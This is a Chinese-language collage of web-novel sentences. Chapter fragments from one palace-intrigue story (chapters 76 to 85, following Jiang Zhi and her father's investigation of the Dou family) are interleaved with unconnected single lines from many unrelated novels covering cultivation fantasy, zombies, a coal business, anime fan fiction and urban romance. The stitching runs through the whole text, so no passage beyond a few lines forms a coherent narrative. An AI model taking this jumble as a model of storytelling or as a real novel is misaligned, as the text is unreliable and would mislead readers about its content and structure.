张恒连脱离混沌流光的方法都不知道,也没法恢复原本身体,如今完全是借助混沌光芒抵挡魔影的暗手。
十月初一,刘充拿到了煤矿这边的九月财报。九月一共卖出了五十万块蜂窝煤,炉子三万多个,得到了八十多万钱。除去初期的投入和工匠的工钱,还剩余十六万多收入。
不管怎么说,那里有着时间宝石这样的顶级宝物,最好能落在他手里。次之被古一法师保管也不错,最糟糕的就是被灭霸夺取。
还有,疗养院里的一些人,关系都非比寻常,总是想着走后门什么的,这种人进来之后也不好管理。
可怜之人必有可恨之处,扛大包的苦力本来就是社会的底层,他应该知道被人欺负的感觉,他跟着混混当狗,可以理解是为了生活的委曲求全,但是他狗仗人势,以多欺少想要欺负别人,那就让人憎恨了。
请客们彼此互相望了望,也不怎么失望。不用多久,他们就会知道事情的来龙去脉,大家族里可没有秘密,就像是筛子一样到处漏风。
明代维持的两百多年的漕运,是一条至关重要的生命线,东南的粮食和白银顺着京杭大运河汇聚到通州,再转运去京师。
自从艾德史塔克死后,吸取教训的罗柏母亲凯特琳-徒利对护卫下达了死命令,让他们无论什么时候都要保证罗柏的安全。
见到奠柏安全归来,立刻把羽毛衣往腰上一系,拿出飞刀瞬间寻找目标。
而杨逸菲作为研发者,为了保全这唯一的资料,还必须站在台上发表相关演讲。
此言一出,唐羽心头狂震。能够窥测人体的经脉和丹田,这不就是说对方的眼睛和自己最开始的时候陨石真气加持在自己的双眼是同样的用途吗?
狈里青可不像那些魂隐卫一样没有思想,狈里青是有思想,有感觉的正常人,巨大的痛楚顿时让狈里青发出了非人的惨叫声。
第一卷 第76章 窦贵妃请我去百花宴?
寒风吹拂着姜稚的脸庞,让她慢慢冷静下来。
而且,天帝还不是一般的神仙,当年他可是天庭之主,所以,说不定这个时候,已经去了他的心腹家里躲着,想要抓住他,肯定是难上加难的事情。
一想到火焰,他赶忙查看三昧真火,如今的三昧真火已有花生粒儿大,从原来的四色变成了五色,分别是白色、黑色、血红色、灰白色,以及多出的粉红色。
沈千三其实一醒来就已经猜到这老爷爷的身份了,他好歹也曾经是一棵大树,对方身上那特殊的草木气息,他再熟悉不过了,况且他曾是霸绝天下的帝王,怎么可能会显得那么跳脱慌张?
黄斗也笑了起来,但就在这时,大口径狙击枪的子弹突然高速射来,将他打得原地翻了一个筋斗,飞出去撞在后面的那堵钢筋混凝土墙上。
沈千三呆了,这些事情他是真的没考虑过,他的起点太高了,就像古代人使用网购一样,需要跨越的科技层面太多了,这个弧度太长,根本无法适用。
在玄兵秘境外面,夏宝成就被徐峰的火雷伞伤到,他还是有些忌惮徐峰的火雷伞。
秦彻面色阴沉,看了王青山和苏应一眼,自顾自的点点头,拱了拱手,随后飞身而起,不一会便消失不见。
苏应顿时也感觉到一股生命气息传来,目光扫去,只见无极之地的一片山谷中弥漫着浓郁的混沌气流,应该是远古时那次天地大破灭留下的混沌之气。
当务之急是加强防备,王胜利命令三个中队派出精锐的力量保卫部队安全。白天进行巡逻,晚上安插潜伏哨狙击手。
这两大喜事,最重要的还是最后一件,在宇家连连受创的情况下,增加一名半步绝世强者,这绝对是中流砥柱般的大喜事。不仅给了宇家在首领一脉的强势压迫下,有了喘息的机会。更是令宇家在未来的争斗中多了几分胜算。
没过多久,哥哥就病了,百药无医,弟弟好心的把哥哥请到王宫里,说是不忍心看着哥哥离去,就算老天要哥哥去伺候老国王,做弟弟也要陪着哥哥走完最后一程。
至于晏殊,家大业大,想的是除了炉子外,还要买制蜂窝煤的机器。炉子买了,没必要买外面的煤球。有了制煤球的机器,自己家里就可以做了。
“走,我们过去看看!”黄生的嘴角露出了一抹冷笑,径直朝着林子涵走了过去。
收购了大宇游戏公司,他就有办法可以拿出自己的“3A游戏”了。
甘青司也皱了眉,“听欢,你别乱动。”这荒山野岭多少残木乱枝,他生怕席若白跌倒便护着他在身旁。
胜州临黄河,经常泛滥,有许湖泊池沼,里面多产鱼鳖虾蟹,水产很多。以前这里的人不知道怎么吃这些东西,营田厢军来了,带来了襄阳一带的做法,风靡一时。
身后的战长生看到断古今游向海妖首领,就知道对方到底在打什么鬼主意了。
这回甘青司主动将人圈进怀中,体温传达到自己身上的感觉让他不住感叹,想他在海上漂泊的日子,不知多怀念这人身上的温度和味道。
第一卷 第77章 镇北王冤案的第一滴血
试完衣服,姜稚重新回到父亲的书房,发现姜肃早已在书房内等她。
“爹爹。”姜稚行礼。
姜肃神色凝重,示意姜稚坐下,然后从怀中取出一封信:“寒川的密信,刚到。”
说着递给女儿,“你也看看。”
古炎已四千五百万的晶石买下了红颜精晶,浑身无比的舒坦,丝毫不在意自己已经惹下了二品帝君这样的强敌,此刻他只想到自己在红颜精晶的帮助可以把修为提升到四品神君,获得了一个可以晋升帝君的机会。
“怎么回事?”许多人惊讶的抬头看天,忽然发觉大自然的威力竟然厉害如斯。
三人连忙闯入屋当,就看到里面以经乱成了一团,有七八个全身是血的僵尸在追杀赵连城的家眷,还有他家的十几个护院。这些护院虽然都有些武功,但是哪是这些僵尸的对手,一瞬间的功夫就被咬死了好几个。
麻和风,陈季常,与坤秀道长被请去与各宗的长老,讨论合欢宗妖怪一事。
但这声音没把血尸引回来,却把跟在最后面的几具槽尸和干尸引到这里,这时,经过一场拼杀,干尸已经所剩无几了,可能墓室里所有的干尸都在这儿了。
“呸!你们这些男人。”麦千琴鄙夷地看了他们一眼,不屑地说道。
本来赵连城要把张国华接到自已府居住,但是张国华说什么也不肯,表面上说自已要清修不能与人共处,只要找一个能遮风挡雨的地方就可以,其实他是怕自已的天煞孤星的煞气冲到赵连城和他的家人。
朱震回到后院,就看到郑心兰带着苏氏姐妹气冲冲的迎上来,他摸了摸头脑,心暗道不好,只怕这后院要起火了。
只见还未到山顶便是闻见了一股焦味,赵凌一惊,便是疾步朝着山顶奔去,慕容熏与紫灵也是紧随其后。
幸好对于这些话,辰逸有了很大的抵抗力马上无视看起装备的效果。
其实当她看到完全不一样的自己出现在镜子里,也是被吓了一跳,完全都认不出自己来了,这还是之前那个傻里傻气,不修边幅的她吗?
唐装男子一直神情戒备,气息内敛但目露杀意,身体总是有意无意的挡着中山装男子。
南宫亦儿回到自己房间就立马躺在床上,可是怎么也睡不着,因为闭上眼睛脑海里全都是傲天祁和上官雪儿拥抱的场景。
“这个我当然知道,可惜她让我不告诉你们任何一人,真的抱歉了。”苏芳怡露出一脸道歉的样子说道。
“弗瑞德,你就省点口水吧。你瞧他那模样,他能听得进去吗?”雷欧冷哼道。
短暂宁静与祥和过后,随之而来的便是震撼世道人心的乱世,如同一个过渡,短暂而美好,将是很多人一生最美好的回忆。
当林枫刚刚将话说完,另一个喽啰立即接话道:“令箭!”说着,两个喽啰的眼中同时出现警惕的神色,右手都下意识的摸向腰间佩戴的短剑。
九邪望着他们离去的身影,看了许久,最后勾唇一笑,转身回房。
这个僵尸像是从山旮旯里出来似的,见什么都要稀奇的望上两眼,还对着街头两条土狗好奇了一阵,真真是丢死他们家主子的脸了。
第一卷 第78章 小马甲要兜不住了?
姜肃离开后,姜稚没有离开书房,而是重新坐回了书案前。
想着父亲匆匆离去的背影,姜稚心中并没有半分轻松。
既然胡老三的证词将来会是铁证,那么窦家就绝对不会坐以待毙。
接下来的日子,恐怕会更加凶险。
若胡三爷不是圣门大长老,那位盖代强者如今又去了哪里,着实是一个谜。
总之。除了沒把自己害木星失败反而成了木星的奴仆。以及木星是冰河神界支配者这个身份说出來之外。徐伯和姚伯把所有能说的细节都对古雪松说了。
武至圣境,武者与天地之力的亲和,达到一个全新的层次,许多事刚发生,武者就会产生感应,即是所谓的天地交感。
但是这样一来,殷红茶、信长和李秀妍这三大高手就脱离了管制。那样的话,孟祥麟他们能对付得了这三大凶神吗?
花良艳开始还有点抗拒,想到下去之后,难免会和张影碰面,俏脸不禁泛起红晕,不过后来强不过几个闺密的死缠烂打,最后半推半就间终于来到了篮球场。
水如烟无语了,她觉得自己碰上真人物了,即使是自己这么高的智商,都无法理解这人莫名其妙到爆的行为艺术。
水浚熙和蒂亚正是在加勒比天堂岛遇到的,在粉色的沙滩上相识,在美丽的日出下相恋牵手。
“那是什么?怎么突然钻进布吕歇尔的身体里面了?”楚剑晨那边闹出来的大动静,即使焦急等待着声望的反击,都不由自主的被吸引了视线。
传闻,战天城主知晓这一消息,在城中奕铭风故居门前,伫立三天三夜,不言不语,也不知在想些什么。
英俊青年和尚是轮回殿的殿主无明和尚,另一个胖墩墩的青年和尚是如来殿的殿主昙梦和尚。
就在萧枫要开口说话的时候,有一个少年的身影出现在萧枫的面前。
萧枫看着无比娇羞的帝妃,顿时感觉本就燥热的身体,更加燥热了。
而最让艾子涵震惊的是,秦笙没吃完的米饭,沈初言二话不说就倒进自己碗里,丝毫不嫌弃。
烈日炎炎之下,一个身穿黑色劲身服的少年正在做着俯卧撑,一边做着一边数着。
段秋寒扫了眼屋子里还在唱歌的姑娘们,扔了一个酒瓶子砸在了墙面上,“啪”的一声炸裂。
观看着这场关系到宁安城格局的战斗,这场战斗也有可能左右着双方的命运,败的一方很有可能是要血流成河的。
提到艾晨,艾子涵顺口问了几句,秦笙一边心不在焉地回答,一边截了图发给沈初言,紧接着又打了一行字“笑得我肚子疼”。
肖枫停了下来,一副恍然大明白的样子,“看我着,只顾着吃了,不得不说,你这粥煮的”肖枫还没说完,停顿了一下。
待她回过神,一下就慌了,右手本能地从桌面伸过去,却被他抢先握在手心。
刚才扎针的时候,沈鹿一个劲儿往旁边躲,大喊“哥哥救我”,医生哭笑不得,沈初言没等医生开口就主动将妹妹抓进怀里,大手捂住她的眼睛,在她耳边轻声哄着。
结账出门,闫妄在路边抽了根烟,等这些人相继离开后,他才漫不经心的过了马路。
赵英河面带喜色,连连点头:“要,自然要得。我的铃铛本就是摄尸驱僵所用,只可惜没办法将僵尸带出来,用奖励点也亏死。
第一卷 第79章 百花宴,窦贵妃要开始挖坑了
正月初十,宫中百花宴。
虽名“百花”,实则御花园中只有腊梅初绽,水仙含苞,真正的百花盛开还要等上两三个月。
但这并不妨碍宴会的奢华。
宫中巧匠以绸缎扎出各色花树,点缀于亭台楼阁之间。
正在此时,天际想起了一阵风哨声,嗖嗖嗖落下三人,其中两人都是狂生ZSdq老熟人。
连四周围的人都忍不住避开她的行径足可见这张脸有多么的可怖。
亲兵指着被绑住了的董璜手下,问:“主公,他们怎么处置?”我回答:“派人将他们给押回去!不用多久,他们的主子也会和他们见面了!”“是!”有士兵押着他们而去。
司马颖看了信后,也不跟她恼,只是又写了一封信回去,调侃了回来,而从那以后,她在跟人说起纳兰雪的时候,便都是用“我们家雪儿”来称呼了。
慢慢的,苏彦的骨骼上竟带上了一丝紫sè,混合着一开始淡淡的白金之sè,甚是神异,透着金属般的光泽。
李慕自然而然的念叨,青莲伸出,将那颗巨大的灵晶掏上来,李慕立即收取,美滋滋的。
狂生笑道:“你是饿死鬼转世,怎么沒有个底线。”要不是狂生看他每次噎住,赶忙催动功力在她背上轻拍几下疏通,恐怕真的就要撑死。
船上的倭寇全都慌了神,全被恐惧所占据。姜维船上的连弩全都对准了船上的倭寇,而赶至的李雄这一船上的箭也对准了卑弥弓呼等。
这道道流光都如仙绳一般的坚韧,一旦缠绕,根本不容对方挣脱。
宫外一片安静,一股不祥的预感涌上赵炎的心头,向波克望了一眼,只见他脸上绽放出邪邪的微笑。
她慢慢地蹲下去,轻轻地从身后抱住了他,把脸贴在了他的背上。
“有事启奏,无事退朝。”熊荆话毕,正僕长姜念出了这句退朝语,这是熊荆教的。
以前还是和邵氏合作就让嘉禾很有压力了,现在院线直接成了乔峰的了,那乔峰要是大量投资拍摄自己编剧的电影,那还有嘉禾生存空间吗?
不过也正因为如此,当湮神咒杀被林云曦转移到傲娇的布偶猫身上,按照照正常情况,御风之君绝对难逃神识溃灭的下场,但因为有简单神识的存在,反而分担去一部分诅咒力量,让御风之君躲过陨灭大劫。
俞国民的两颗牙被打断,一侧脸颊瞬间高高肿起,已经面目全非。
“华腾呀,你在学校创业,短短时间就有这样的成就,这是我们北河市的骄傲呀。以后方便的时候,希望你能够回到北河市来投资,叔叔保证给你最优厚的政策待遇。”白洪涛不愧是主抓招商的,立即就抓住时机对吴华腾说。
校场上空立刻就出现了一头巨大的怪兽兽影,那怪兽龙头马身、麟脚短尾,看上去峥嵘不凡。
他从办公桌上拿起了一支香烟,点上,轻轻的吐出一片烟雾来,袅袅升腾的青烟,遮挡住了他大半个脸,透过朦朦胧胧的烟雾,可以看到了冷漠到极致的表情。
就连市长级别的人物,见了李林凯都要称呼一声李爷,这样的势力,谁会愿意招惹?
“未曾试也。”钜铁府习惯用高速钢检验硬度,而不是来自外域的金刚石。
第一卷 第80章 想动安宁公主?先问问我的鞭子
一切发生得太快,眼看墨汁就要染上姜稚那水绿色的云锦。
姜稚早就瞧见王家小姐的动作。
她迅速手腕微转,看似无意地抬手整理鬓发。
既然正常对话没办法解决这个恋爱脑,那就只能用渣男的办法来狠狠地伤害她了。
张晓峰一大早起来就在接单了,陈宇很周到地给他递上了一份M记。
“哟哟哟……”现场纷纷起哄,尖叫声,口哨声此起彼伏,纷纷落在穆薇薇的某处。
产婆和产医都是太皇太后亲自派来的妥当人选,伺候过王后生的一把手,他们深受太皇太后和天的皇恩,对阿九自然是尽心尽力的,所以鼓励起阿九来,也是不遗余力。
这一身焦黑的高速警察此时已经说不出数字了,他只能先伸出四根手指,再用手比划着一个六字。
但许茂洋听到他这好不容易憋出来的肺腑之言后,却突然笑了起来。
“丞相数次相召,卑职自忖才智浅陋、德行卑微,名声不显,不知丞相召卑职,是看上了卑职哪一点?难道是卑职这一身——褴衣漏服吗?”王介甫伸展着身体,将自己的邋遢衣服展示了一下。
这个时候,陈宇正好从外面回来,表情一脸轻松,手上还多了个袋子。
“哎呀,你说那么多,都没有告诉我,他在哪儿?”都这关口了,还卖关子,阿九心中无比地鄙视齐逍。
一开播的氛围,观众们还以为这场又是素的,没想到此刻迎来了转机,顿时开始兴奋的起哄。
深夜,当世间万物都归于安宁的时候,这个展馆里,却响起了让人震耳欲聋的水声。
而冰柜组成的墙那里,那个藏着刘楚尸体的抽屉被打开了。一个拿着照相机的干警真在进行拍照取证。
苏卿瑶听了易水寒的提议眼中露出一丝兴奋,但兴奋过后,似乎终于丝毫意识到什么,转头睁着水汪汪的大眼睛看着荀攸。
最终,停到了元婴大圆满,仿佛随时都能捅破某层屏障,突破至化神。
童雪那件事情虽然已经过去了一段时间,但是对于童雪的自杀,温暖依旧不能释怀。
出洞后,古斯丽就在刘宇的指点下,将飞刀的使用方法完全掌握了,连刘宇都对古斯丽的领悟能力大加赞叹。
但巧过头呀,她用脚趾头想,都能知道自己没有摆脱东方妖孽的跟踪。
她用余眼睨了一下殿中的男人,只见他一张俊美的脸庞依旧没有任何表情,不禁教她的心中有些不安。
许明湘在火车改道之后,按照约定时间,在远处升起蓝色烟雾弹。
不管是第一个要求,还是第二个要求,在张鸢看来,都有些过了。
唐明一手接住,自此曾经的海军元帅,现在的政府统帅空,以及世界政府最可怕的杀人利器天龙人,通通被斩杀。
“弗洛,加德王国的事情我都听说了,你做很好”唐明一脸欣慰的夸奖道。
“好了,既然各位天圣没事,就先回去好好休息,接下来的事情就交给我们吧!!”战国一挥手,止住了卡普后面的话,一脸的温和劝道。
看到那艘巨大的钢铁之船不在顾他们的阻拦直直的撞了过来,立时吓得那几艘巡逻艇上的人员脸色惨白。他们在此这么久,还是第一次见到这么嚣张的商船。要知道这可是海关口,有这么多炮台震摄,谁敢作死?
第一卷 第81章 窦家,要慌了
回到湖心亭时,一炷香刚好燃尽。
“通过这次的教训,我想他应该再不敢了,你们几个都回去上课吧!”张老师对我们几个说完这话后就向他的办公室走去。
凭一己之力,辗转世界各地,不仅站稳了脚跟,而且成为令人闻风丧胆的人物,像向海龙这种人,无论如何都是不可轻视的。
不说其他,仅仅是眼前这两朵火莲,就是比之前那陈锋要强大许多了。
剩下的绝大部分考生,都是和雷一鸣一样,仅仅领悟了一种玄奥而已。
刚才陆叶川自打耳光的一幕表现出了令人生畏的城府,就像这种人,你从表面根本看不出他内心的真实想法,田七已经不敢再轻易相信陆叶川了。
要知道,她才刚刚晋升到初期武尊之境,实力在王家众天骄中,属于最弱的一个。
没有半点犹豫,莫虚灵施展完毕,直接暴喝一声,操纵光轮向着莫天风三人袭杀而去。
米国政府为了对付郎战,此前已经组织过一次级战士“联队”,乔治故有此一问。
所以黄帝部落头领极力想要怂恿炎帝部落一同出兵,以减少己方战士的伤亡。
般若被夜苗苗的话弄懵了,她不知道夜苗苗怎么好像对这几位圣子很大意见似得。一旁的魅蓝一边偷笑一边将刚才的事情讲给般若听,还不时的看向月明他们几个圣子,这让月明几人感觉十分尴尬。
付斌问:“为什么?”很好奇,杨若风为什么会自己打自己的脸,如此改口。
两人拱手作别,离去时,龙杰望了望车厢,踌躇了一下,终究还是没有再说什么,一打马,绝尘而去。
我听了心中一动,出去上香,那就能到相府外面去玩玩,也不错。
不明所以的思绪在自己的脑中绕开,凤逸寒看着南宫洛璟驻足停下,心中多了的是一种淡淡的恐惧感,这样的感觉从未有过,所以一向沉着稳重的他似乎也有一丝的不适,以至于,掩在他袖中的另一只手也不禁捏成了拳。
“公主已经猜到了不是么”男子不再去逃避她落在他身上眸光,亦定定地凝着她,仿佛要将她脸上微表情都纳入眼里。
扭头看着窗外,世事就是这样。有些东西你明知道是“陷阱”却会去踩。有些人明知道打了要闯祸,还是会朝着对方的猪脸一拳头印上去。
安全?陈明皱着眉头沉思了一下,难道这家伙是警署下派的政治辅导员?
越想越觉得有此可能,气呼呼瞪着龙杰。两人脸对脸的瞪着对方,龙杰望着千千的眼神渐渐起了变化,愈来愈深情。贾千千怒气渐消,越来越心慌。
“大姐。你确定不会把鱼竿的前端报废么。。”张贺无语。的确。鱼竿前端韧性极其优秀。甚至到达能弯成一个圈环的程度。可是相对而言那个地方也由于极其纤细而显得脆弱。如果用力不当很可能造成鱼竿的折断。
她自称我,一个简单的字眼,沒有将她们之间的关系定下一个主仆之谊。
第一卷 第82章 镇北王旧案重启
此时铁伯心中的震撼已经无以复加,只能瞪着眼睛,似乎在慢慢的反应白老的话。
张浩渊此刻也是有些无奈,原本在内城之中看到天空翔之后,他便是感到这木讷男子的实力似乎和他不相上下,虽然这只是他隐晦的直觉,所以也是出头将其挡下麻烦。
“呵呵!但愿我的感觉不会错吧!”羽辰看着战九和雨熏儿暗暗想到。现在战九和雨熏儿都是血神的一员,尽管还不算熟悉,可羽辰却是希望他们二人越强越好。
如果是正常猎人,遇到这个瀑布绝不会单凭肉身对抗,然而天空翔这个怪胎却是单凭着他的肉身,在这瀑布之下整整被折磨了将近一天。
楚云下定的决心,上前拍响了院门,雨太大,拍门的声音显得有些微弱,等丫环打开院门,楚云的胳膊已经湿透了。
难道修真者都是这样吗?修炼到了一定程度,便藐视比自己弱的一切生灵?
眼下这情况,余风再住在他自己的岳父家,已经不合适,原本就多了吴家兄妹,现在又带回这么多的人,余风盘算着,是不是自己要起个庄子了。这材料人手都不缺,起个庄子,不过是时间问题而已。
听到宁雪儿这么一喊,石庞也是带着一丝焦急的神色朝着后方一看,然而他却是看到自己家族的两名弟子正在与宁柔纠缠在一起,至于那冠羽雀则是在一旁微微的抖动着,发出一声声嘶鸣声。
“余夫人,不打搅吧!?”崔谈扭着头,对着吴嫣然说道,至于身后的那几个从人丫鬟,崔谈直接无视了,崔府这么大,丫鬟仆役们,他怎么可能一个个都认识,他只当是自己府里的下人了。
“那是,走,传闻凡是福地中有山谷的地方都有宝贝。”乔丽娜搓着双手,迫不及待的说道。
他只是这么安静地躺着,并不像至方所描述的那样,浑身发痒而四下里打滚。
曹艳琴一听到冯素梅说道‘都用不上了’就想偷笑,感觉这个大姐还真是挺直接挺可爱的,跟自己接触的所有端着的人都不一样。
可是我整个的还没反应过来这是怎么回事!当我洗了澡换了衣服出来的时候,王嫂好像还在抹地板和椅子。
我娘还说,能在清心观当道士的人都很了不起,以后谁都不敢欺负你。
“皇上……”皇太后喊了一声,神色间皆是不悦,目光森冷的扫向匍匐在地上的安语婧,似是恨不得生生的活剥了她一样。
“等吧!”霍萧然说完,突然消失过后,又突然出现,不过手里多了一张毛毯,看着他轻轻的给太阳盖上,握着太阳的手,我也坐了下来,他说得没错,此时的我们除了等,什么也做不了。
李凯莉注意这元笑的情绪,笑呵呵的打起圆场,“晓丹对谁都没有对你上心,你还不高兴呢!”李凯莉的话语里带着浓浓的酸味,过分的表现一下子又将元笑给推到了尴尬的地方。
某人欣喜若狂,夏沫却没太多心思理会他,这会儿,有人往自己身上泼脏水,她总得找把伞挡住脏水不是?
锅里的油已经呼呼的冒烟,韩尚青拿着一把洗好的青菜愣是不敢放进去,都给她‘崩’怕了。
谷星月微笑着点了点了头,她不耐烦与这些夫人周转,其中有几个夫人看着她的眼神都是嫌恶的。
就如今这么个情形,看来老天都感觉九重劫雷劈下来有点太欺负人了。
正当陈东成脑海里想着这些乱七八糟的事的时候,李星瑶也下了楼。
清脆的枪声响起,子弹划过美丽的弧线,闪电地飞向叶明头颅,而叶明射杀了敌人后,死亡的气机再次逼来,但是叶明能感觉到这次敌人明显锁定了自己。
神夂怒气冲冲的出了玄珏洞,化作一堆飞虫奔着奈铭山方向奔去。
“他什么意思?难道想要让我们归顺吗?”青龙门的哪些仙尊听后,并不感觉奇怪。
陈东成从来不会在陌生的地方瞎搞,万一出现什么纰漏,那就是全国扬名。
虽然我们没有完成三天的试炼,但是因为我们几人合力打败了等级比我们高出很多的神兽,所以并没有取消我们的试炼成绩。
周佛海听完萧山的话苦涩地点点头,而后萧山便将自己的计划告诉了周佛海,周佛海听完双眸充斥着震惊,而后看向萧山道。
陈东成满脸黑线:静萱已经睡了,明天方便的话,中午一起用餐,就在金沙厅。
虹昆只好又一次放出五行八卦网,将杭暧兜在了里边,搞得杭暧嗞哇乱叫。
皇帝陛下目瞪口呆,这张氏是跟娘家闹翻了,投到荣棠那头去了?
这座山峰,被人一剑削平,被削去的平面,足有方圆千丈之宽,上面有着密密麻麻的刀剑痕迹。
其中一名黑衣人离得稍近,胸口竟然被喷了一滩脑浆,他瞬间僵住了。等到反应过来,竟然压不下胃里的翻腾,忍不住俯身呕了出来。
大夫余下的话董卓完全没有听到,等月初道谢他才回过神,后知后觉的激动起来。
月初拍拍他的肩膀,“专心收钱,别收错了!”说着她就去忙活其他的了。
其实她哪里真的决定终身不嫁?她还一直想着要生两个孩子呢。只是她只想给爱的男人生,而温尚过后,她再也不可能会爱上其他男人。
“还能干嘛,当然是做饭了,你没看到他买了菜吗。”白沐雪笑着说道。
第一卷 第83章 小马甲被彻底解下
书房呢,姜肃接过密信,快速浏览,眉头越皱越紧。
“爹爹,怎么了?”见姜肃面色不豫,姜稚关切出声。
“江南出事了。”姜肃将信递给女儿,“王家,这是要撕破脸了。”
“等等!”就在白胡子船长还未说完的时候,一个稚嫩的声音响了起来。
“等等,斑鸠,请等我下。”席林在后面叫住我,我哪管他叫唤点什么,依旧速度不减地朝着原来的方向走着。
既然做出了决定,那么剩下的自然就是施行了,所以才有了淞婉他们看到的肉体慢慢的衰老,萎靡。
淑沅闻言装作恼了瞪娄氏一眼:“可不我就是恼了你。”她想离开,不想和娄氏同在汪氏的院子里。她压根儿不喜欢和娄氏同在任何一个地方。
轮到他时,他学着先前那些人,有模有样的照着做。正准备进去时。
“如果其它人,问你借二百七十万,你一般收他多少利息?”俊杰淡淡问道。
这转瞬的功夫二人已经冲出了数百米,眼看前方是浓稠的红色雾气,似乎其中的东西并没有要出来的意思,二人对视一眼,苦笑之后只能硬着头皮往前冲。
“至于你说自娘家论起的话,可是眼下我们都是嫁了人的,还提娘家做什么。”她并不记得什么七伯母,还是她的什么表姐。
数十辆机车踩足了马力,轰轰的冲将上来,将俊杰所在的方圆二三十米的地方团团围住,这些机车并不冲上来,只是围着以俊杰藏身处为核心的一个圈子不住的绕着,车灯交错,将这片地方照耀得如同白昼。
“原来如此。”林雷明白了,早知道狼人会放水,他就不用浪费时间发明功法了。
管理者愤怒而又恐惧的看向林雷,他难道真把这里的法术给解析了?
暗杀者X的魔术回路,属性为【螺旋】,那是将魔力螺旋起来,彼此促发,彼此加成,最后爆发出远超原本魔力的属性。缺点是,对作为容器的身体而言,这种爆发力不是什么很好玩的东西。
在他身后还跟着数百的天兵,个个身着玄甲,手持着巨斧利刃,身上散发出淡淡的杀气,显然都是精锐之师。
‘不不不,你理解错了,我不会让你那么容易的死,我慢慢地折磨你,让你求生不能,求死不得。’张子豪脸上的笑容很邪恶,看得我都是一阵心毛。
他的心里充满了愤怒,目光中燃烧着愤怒,今天的情况,完全是他始料未及的。
唐飞的脸上不由得露出一个苦笑来,看来自己被“誉为”玄境中的灾星,还真是名副其实呢,刚刚一出现,整个玄境就炸开了锅。
火焰,燃烧着,沥青马路燃烧着,绿化带燃烧着,街头巷尾的房屋燃烧着。
不过,他十分清楚,一旦让这些人离开,一旦几个备受瞩目的工程使用劣质沙石的消息扩散出去,云海国际肯定要陷入极大的被动,带来的损失也是无法估量的。
在温热的泉水中,两人紧紧地缠绕到了一起,楚嫣然紧紧地搂抱着他,恍若想要将自己的娇qu揉入他的身体,永生永世,再不分离。
虞彦并未察觉什么。接下来的两三日中,虞彦在距离白果树五六千里外给伊梦雪找到了一处灵气十分浓郁之地,并给他在那山壁之上开凿出了一个深入山脉的洞府,并在洞府之外布置了一套可以阻挡金丹期修士的法阵。
第一卷 第84章 作为代言人,第一次出远门
然而,刘丹越是这么说,汪梅就越是不好意思,一颗脑袋都差点杵到胸口里面去。
乡长于丹平突然被免去职务,调任赛牛乡乡长,关山乡的工作,暂时由副乡长刘俊主持。
三个手指头一把抓住铸造锤,直接再一次抡了起来,这一次他没有停顿,而是一锤又一锤的敲下。
不过谁都知道,以段昊的那种性格,肯定不会善罢甘休,大家也只能提醒苏凌多加注意。
对于稳健这样只钟情于战斗的人来说,显然是根本不可能分辨得出来的。
至于最高级的凶兽们……目前的地球上应该是还没有出现的,但就算是还有像豆豆一样的意外,金甲武士们身上的嘲讽气息,应该也是足以让稳当从容地用出自己的后手了。
这家酒店的vip套房是在最顶层,这种套房一共有四个,都是由一些空间容纳的器具所制,并不占地方。
刘俊就怕李虎城提起于丹平的事,想解释两句,可是一时之间又无话可说。
霍恩又是狠狠地虐待了对方一遍,感觉气出的差不多了这才停手。
“什么。你。你怎么能这么偏袒二蛋。你娘俩真是气死我了”师父刚骂完。自己有哈哈哈大笑起來。像是感到了自己的幼稚。
整个过程中,江左易一句话也不反驳,只是凝着深沉的眼眸,分不清是在看她还是看我。
“好的,我知道了,你们在这里等我吧,我去看看。”说着,钱一飞便上楼去了。
薛琼深深地叹了一口带着尼古丁和焦油成分的气,将烟头扔到地上踩灭。
采月没话可说了。看来,她只能一会儿打电话,和萧天提一下这件事了。
师父去世。停尸三天。找二爷查算适宜的日子出殡。三日之间。到访哀奠之宾客成千上万。可以说。方圆百里大奔丧。
这片草甸残留着大量的飞矢,飞矢遍布的区域足足达到了数百丈,来到此处,莫问发现了草地上的老五,亦看到了林边的一处新坟。
“不可行掩耳盗铃之事,我们看不见岛屿,岛上的人不一定也看不见咱们。”莫问摇头。
再接着就是广告词,以及“大韩民国XX钢琴公司荣誉赞助”字样。
在“谈一谈”的过程中,对方总算知道了“朴黑子”的绰号是怎么来的。人黑心更黑。
“你不是一直对他很友善吗?他怎么会对你有那么大的敌意?”丁魏清问。
这神器是如何被炼制出来的幽兰牧不知道,但他知道天璇宗的元婴祖师肯定炼不出来,元婴强者只能炼制宝器。
幽兰牧深看了眼那座消失的白塔,也坐到大黑鸟背上,示意大黑鸟向西北方向飞行。灵矿上面驻守的魔兵被干掉,肯定会惊动更多的魔兵前来查看。
“这种事。只有遇见了。才知道。我想。李申怎么也想不到。他有一天会扇落霄燕吧。”落遇叹息。说。
当年他似乎听师傅说过,这些法器的主人都应是死去了很久很久了,所以他才放心用到现在的,但是眼前这个开天居然说,手中的开天尺居然是他的,这怎么可能?
听到这话,族长脸色立刻就阴沉了下来,他自己是散仙一层的实力,他能够看出来木天的实力只有真鼎巅峰左右,但是不知道怎么的,他分明从对方身上感受到了一抹危险,这种危险的感觉他也只是在山上才感受到过。
我敢说不欢迎你秦五爷来么?秦家在丹城的地位谁人不知谁人不晓?
太后既然搬出遗诏,又将皇帝软禁,那便不会轻易放过慕冰玥,叶灵也明白,走到这一步,他们也只能先顾着慕冰玥的性命。
“我闪!”在炎魔手掌落下来之前,悠悠终于完成了空间之门的构建,带着幽兰牧从原地消失,直接闪入空间之门内。
“别哭了别哭了”温柔的语气,手从脖子的位置,一直轻扶到脊背的末端,尽可能的轻柔。
阿兰到了蓝羽的身后,忽然使劲儿地拍了一下儿她的肩膀,蓝羽吓了一个激灵,她穿着的高跟鞋的一只脚腕儿,一下子打了个折儿,蓝羽“哎吆!”一声就要摔倒在地,要不是叔叔拉住他,蓝羽跌倒就是一瞬间的事儿了。
话唠有些失落的坐下来了,似乎没达到他的预期效果,反而比预期还有更差一点。
李欢欢这才意识到不对劲了,看了我一眼,身形一动,已经抢到门边去了。
以人质作抵押,在战国时代是一种外交惯例,目的是取得诚信。但那样一来,时间被耽搁了,巴国的内乱恐怕已经不可收拾,借兵就失去了意义。
可惜,她不会想到,她已经在一步步陷入这一泥潭之中,爬也爬不出来,如果明楼真的是抗日分子,有一天落入自己的手里,她会怎么样?
第一卷 第85章 徐州城外,峡谷惊魂
马车车队一路向南行驶。
“惊蛰,”车内的姜稚一边掀开车帘,观望路边的风景,一边开口,“你说,那些想害我们的人,此刻在做什么?”
见这些人没有什么利用的价值,朱有孝就直接让人付给他们一些银子,就当是那一桶油的价钱了,把那几个活计喜得屁颠屁颠的就走了。
